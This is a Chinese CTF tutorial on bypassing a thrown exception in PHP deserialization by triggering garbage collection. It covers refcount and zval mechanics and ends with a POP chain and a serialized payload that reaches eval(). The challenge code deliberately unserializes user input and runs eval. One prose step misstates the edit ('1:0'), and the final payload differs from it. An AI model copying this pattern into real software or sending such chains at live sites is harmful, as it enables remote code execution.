先列出一道例题
<?php
highlight_file(__FILE__);
error_reporting(0);
class aa{
public $num;
public function __destruct(){
echo $this->num."hello __destruct";
}
}
class bb{
public $string;
public function __toString() {
echo "hello __toString";
$this->string->flag();
}
}
class cc{
public $cmd;
public function flag(){
echo "hello __flag()";
eval($this->cmd);
}
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>
题目很简单 关键阻碍是最后丢出的异常
在ctf题目中会出现诸如此类的题目,在代码的结尾抛出了异常,对象不能被正常销毁,导致不能触发destruct魔术方法,此时我们就要想到绕过该抛出的异常,并触发destruct魔术方法,这里就要说到php中的GC(Garbage Collection)
GC
什么是GC
Gc
,全称Garbage collection
,即垃圾回收机制。
PHP中的GC
在PHP中,使用引用计数
和回收周期
来自动管理内存对象的,当一个变量被设置为NULL
,或者没有任何指针指向时,它就会被变成垃圾,被GC
机制自动回收掉
那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC
机制回收,在回收的过程中,它会自动触发_destruct
方法,而这也就是我们绕过抛出异常的关键点。
上文说到PHP是使用引用计数
来进行管理的,接下来简单说一下。
引用计数
这里看一下php手册的解释
PHP 变量存储在称为“zval”的容器中。zval 容器除了变量的类型和值之外,还包含两个额外的信息位。第一个是“is_ref”,是布尔值,表示变量是否是“引用集合”的一部分。第二个是“refcount”,表示有多少个变量名(也称为符号)指向这个 zval 容器。
第一个字节名为is_ref
,是bool
值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&
来使用自定义引用,zval
变量容器中还有一个内部引用计数机制,来优化内存使用。
第二个字节是refcount
,它用来表示指向zval
变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。
看接下来的这个例子
<?php
$a = "new string";
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>
我们可以看到这里定义了一个变量$a
,生成了类型为String
和值为new string
的变量容器,而对于两个额外的字节,is_ref
和refcount
,我们这里可以看到是不存在引用的,所以is_ref
的值应该是false,而refcount
是表示变量个数的,那么这里就应该是1,接下来我们验证一下
(refcount=1, is_ref=0)='new string'
接下来我们添加一个引用
<?php
<?php
$a="new string";
$b =&$a;
xdebug_debug_zval('a');
?>
结果如下
(refcount=2, is_ref=1)='new string'
接下来说一下容器的销毁这个事。
变量容器在refcount
变成0时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了unset()函数,refcount
就会减1。
看个例子
<?php
$a="new string";
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>
按照刚刚所说,那么这里的首次输出的is_ref
应该是true
,refcount
为3。
第二次输出的is_ref
值是什么呢,我们可以看到引用$a
的变量$b
和$c
都被unset
了,所以这里的is_ref
应该是false
,也是因为unset
,这里的refcount
应该从3
变成了1
,接下来验证一下
(refcount=3, is_ref=1)='new string'
(refcount=1, is_ref=0)='new string'
总结:触发GC 从而触发__destruct魔术方法的有两种方法
1.被unset()处理
2.数组对象为null
下面解决开头的那道例题
先放pop链
<?php
class aa{
public $num;
}
class bb{
public $string;
}
class cc{
public $cmd;
}
$a = new aa();
$a -> num = new bb();
$a -> num -> string = new cc();
$a -> num -> string -> cmd = "phpinfo();";
$b = array($a,0);
echo serialize($b);
?>
对象为null时 也可触发__destruct魔术方法
因此先将其放入数组中 之后再将对象置为空
得到
a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}
将 i:1 改为 1:0 从而将对象置空
最终payload:
a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}
以上部分参考了网上师傅的内容,菜菜勿喷